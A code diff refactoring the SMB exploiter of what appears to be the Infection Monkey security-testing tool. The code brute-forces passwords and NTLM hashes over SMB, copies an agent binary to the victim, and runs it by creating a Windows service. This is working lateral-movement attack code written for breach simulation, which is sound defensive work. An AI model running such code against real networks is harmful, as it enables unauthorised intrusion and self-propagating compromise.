|
|
|
@ -1,10 +1,22 @@
|
|
|
|
|
from dataclasses import dataclass
|
|
|
|
|
from logging import getLogger
|
|
|
|
|
from pathlib import PurePath
|
|
|
|
|
from time import time
|
|
|
|
|
from typing import Optional, Tuple
|
|
|
|
|
|
|
|
|
|
from impacket.dcerpc.v5 import scmr, transport
|
|
|
|
|
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
|
|
|
|
|
from impacket.dcerpc.v5.scmr import DCERPCSessionError
|
|
|
|
|
|
|
|
|
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
|
|
|
|
from common.credentials import get_plaintext
|
|
|
|
|
from common.tags import (
|
|
|
|
|
T1021_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1105_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1110_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1210_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1569_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
)
|
|
|
|
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
|
|
|
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
|
|
|
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
|
|
|
@ -19,6 +31,15 @@ from infection_monkey.utils.commands import build_monkey_commandline
|
|
|
|
|
from infection_monkey.utils.threading import interruptible_iter
|
|
|
|
|
|
|
|
|
|
logger = getLogger(__name__)
|
|
|
|
|
SMBEXEC_EXPLOITER_TAG = "smbexec-exploiter"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
@dataclass
|
|
|
|
|
class SelectedCredentials:
|
|
|
|
|
user: str
|
|
|
|
|
password: str
|
|
|
|
|
lm_hash: str
|
|
|
|
|
ntlm_hash: str
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class SMBExploiter(HostExploiter):
|
|
|
|
@ -29,15 +50,74 @@ class SMBExploiter(HostExploiter):
|
|
|
|
|
}
|
|
|
|
|
USE_KERBEROS = False
|
|
|
|
|
SMB_SERVICE_NAME = "InfectionMonkey"
|
|
|
|
|
_EXPLOITER_TAGS = (
|
|
|
|
|
SMBEXEC_EXPLOITER_TAG,
|
|
|
|
|
T1021_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1110_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1210_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
)
|
|
|
|
|
_PROPAGATION_TAGS = (
|
|
|
|
|
SMBEXEC_EXPLOITER_TAG,
|
|
|
|
|
T1021_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1105_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1210_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
T1569_ATTACK_TECHNIQUE_TAG,
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
def _exploit_host(self):
|
|
|
|
|
agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
|
|
|
|
|
dest_path = get_agent_dst_path(self.host)
|
|
|
|
|
creds = generate_brute_force_combinations(self.options["credentials"])
|
|
|
|
|
|
|
|
|
|
dest_path = get_agent_dst_path(self.host)
|
|
|
|
|
remote_full_path, creds, timestamp = self._exploit(dest_path)
|
|
|
|
|
|
|
|
|
|
if not self.exploit_result.exploitation_success:
|
|
|
|
|
if self._is_interrupted():
|
|
|
|
|
self._set_interrupted()
|
|
|
|
|
else:
|
|
|
|
|
logger.debug("Exploiter SmbExec is giving up...")
|
|
|
|
|
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
|
|
|
|
|
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
|
|
|
|
|
# execute the remote dropper in case the path isn't final
|
|
|
|
|
cmdline = self._get_agent_command(remote_full_path, dest_path)
|
|
|
|
|
|
|
|
|
|
scmr_rpc = self._get_rpc_connection(creds)
|
|
|
|
|
|
|
|
|
|
if not scmr_rpc:
|
|
|
|
|
msg = "Failed to establish an RPC connection over SMB"
|
|
|
|
|
|
|
|
|
|
logger.warning(msg)
|
|
|
|
|
self.exploit_result.error_message = msg
|
|
|
|
|
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
|
|
|
|
|
if not self._run_agent_on_victim(scmr_rpc, cmdline, timestamp):
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
|
|
|
|
|
logger.info(
|
|
|
|
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
|
|
|
remote_full_path,
|
|
|
|
|
self.host,
|
|
|
|
|
cmdline,
|
|
|
|
|
)
|
|
|
|
|
self.exploit_result.propagation_success = True
|
|
|
|
|
|
|
|
|
|
self.add_vuln_port(
|
|
|
|
|
"%s or %s"
|
|
|
|
|
% (
|
|
|
|
|
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
|
|
|
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
|
|
|
|
|
def _exploit(self, dest_path: PurePath) -> Tuple[Optional[str], SelectedCredentials, float]:
|
|
|
|
|
agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
|
|
|
|
|
creds = generate_brute_force_combinations(self.options["credentials"])
|
|
|
|
|
for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
|
|
|
|
|
creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
|
|
|
|
|
|
|
|
|
|
timestamp = time()
|
|
|
|
|
try:
|
|
|
|
|
# copy the file remotely using SMB
|
|
|
|
|
remote_full_path = SmbTools.copy_file(
|
|
|
|
@ -64,29 +144,27 @@ class SMBExploiter(HostExploiter):
|
|
|
|
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
self._publish_exploitation_event(timestamp, True)
|
|
|
|
|
self.exploit_result.exploitation_success = True
|
|
|
|
|
break
|
|
|
|
|
else:
|
|
|
|
|
# failed exploiting with this user/pass
|
|
|
|
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
|
|
|
|
error_message = f"Failed to login using SMB with {creds_for_log}"
|
|
|
|
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
|
|
|
|
|
|
|
|
|
except Exception as exc:
|
|
|
|
|
logger.error(
|
|
|
|
|
error_message = (
|
|
|
|
|
f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
|
|
|
|
|
f"{creds_for_log}:{exc}"
|
|
|
|
|
)
|
|
|
|
|
logger.error(error_message)
|
|
|
|
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
|
|
|
|
continue
|
|
|
|
|
|
|
|
|
|
if not self.exploit_result.exploitation_success:
|
|
|
|
|
if self._is_interrupted():
|
|
|
|
|
self._set_interrupted()
|
|
|
|
|
else:
|
|
|
|
|
logger.debug("Exploiter SmbExec is giving up...")
|
|
|
|
|
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
|
|
|
|
|
return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash), timestamp
|
|
|
|
|
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
|
|
|
|
|
# execute the remote dropper in case the path isn't final
|
|
|
|
|
def _get_agent_command(self, remote_full_path: str, dest_path: PurePath) -> str:
|
|
|
|
|
if remote_full_path.lower() != str(dest_path).lower():
|
|
|
|
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
|
|
|
|
"dropper_path": remote_full_path
|
|
|
|
@ -100,7 +178,9 @@ class SMBExploiter(HostExploiter):
|
|
|
|
|
"monkey_path": remote_full_path
|
|
|
|
|
} + build_monkey_commandline(self.servers, self.current_depth + 1)
|
|
|
|
|
|
|
|
|
|
smb_conn = None
|
|
|
|
|
return cmdline
|
|
|
|
|
|
|
|
|
|
def _get_rpc_connection(self, creds: SelectedCredentials) -> Optional[DCERPC_v5]:
|
|
|
|
|
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
|
|
|
|
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
|
|
|
|
rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT)
|
|
|
|
@ -109,11 +189,11 @@ class SMBExploiter(HostExploiter):
|
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
|
|
|
# This method exists only for selected protocol sequences.
|
|
|
|
|
rpctransport.set_credentials(
|
|
|
|
|
user,
|
|
|
|
|
get_plaintext(password),
|
|
|
|
|
creds.user,
|
|
|
|
|
get_plaintext(creds.password),
|
|
|
|
|
"",
|
|
|
|
|
get_plaintext(lm_hash),
|
|
|
|
|
get_plaintext(ntlm_hash),
|
|
|
|
|
get_plaintext(creds.lm_hash),
|
|
|
|
|
get_plaintext(creds.ntlm_hash),
|
|
|
|
|
None,
|
|
|
|
|
)
|
|
|
|
|
rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
|
|
|
|
@ -132,21 +212,18 @@ class SMBExploiter(HostExploiter):
|
|
|
|
|
logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
|
|
|
|
|
smb_conn = rpctransport.get_smb_connection()
|
|
|
|
|
smb_conn.setTimeout(LONG_REQUEST_TIMEOUT)
|
|
|
|
|
break
|
|
|
|
|
if smb_conn is None:
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
if not smb_conn:
|
|
|
|
|
msg = "Failed to establish an RPC connection over SMB"
|
|
|
|
|
return scmr_rpc
|
|
|
|
|
|
|
|
|
|
logger.warning(msg)
|
|
|
|
|
self.exploit_result.error_message = msg
|
|
|
|
|
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float) -> bool:
|
|
|
|
|
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
|
|
|
|
resp = scmr.hROpenSCManagerW(scmr_rpc)
|
|
|
|
|
sc_handle = resp["lpScHandle"]
|
|
|
|
|
|
|
|
|
|
# start the monkey using the SCM
|
|
|
|
|
try:
|
|
|
|
|
resp = scmr.hRCreateServiceW(
|
|
|
|
|
scmr_rpc,
|
|
|
|
@ -161,32 +238,21 @@ class SMBExploiter(HostExploiter):
|
|
|
|
|
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
|
|
|
|
|
else:
|
|
|
|
|
self.exploit_result.error_message = str(err)
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
self._publish_propagation_event(start_time, False, error_message=str(err))
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
|
|
service = resp["lpServiceHandle"]
|
|
|
|
|
try:
|
|
|
|
|
scmr.hRStartServiceW(scmr_rpc, service)
|
|
|
|
|
self._publish_propagation_event(start_time, True)
|
|
|
|
|
status = ScanStatus.USED
|
|
|
|
|
except Exception:
|
|
|
|
|
error_message = "Failed to start the service"
|
|
|
|
|
self._publish_propagation_event(start_time, False, error_message=error_message)
|
|
|
|
|
status = ScanStatus.SCANNED
|
|
|
|
|
pass
|
|
|
|
|
|
|
|
|
|
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
|
|
|
|
|
scmr.hRDeleteService(scmr_rpc, service)
|
|
|
|
|
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
|
|
|
|
|
|
|
|
|
logger.info(
|
|
|
|
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
|
|
|
remote_full_path,
|
|
|
|
|
self.host,
|
|
|
|
|
cmdline,
|
|
|
|
|
)
|
|
|
|
|
self.exploit_result.propagation_success = True
|
|
|
|
|
|
|
|
|
|
self.add_vuln_port(
|
|
|
|
|
"%s or %s"
|
|
|
|
|
% (
|
|
|
|
|
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
|
|
|
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
return self.exploit_result
|
|
|
|
|
return True
|
|
|
|
|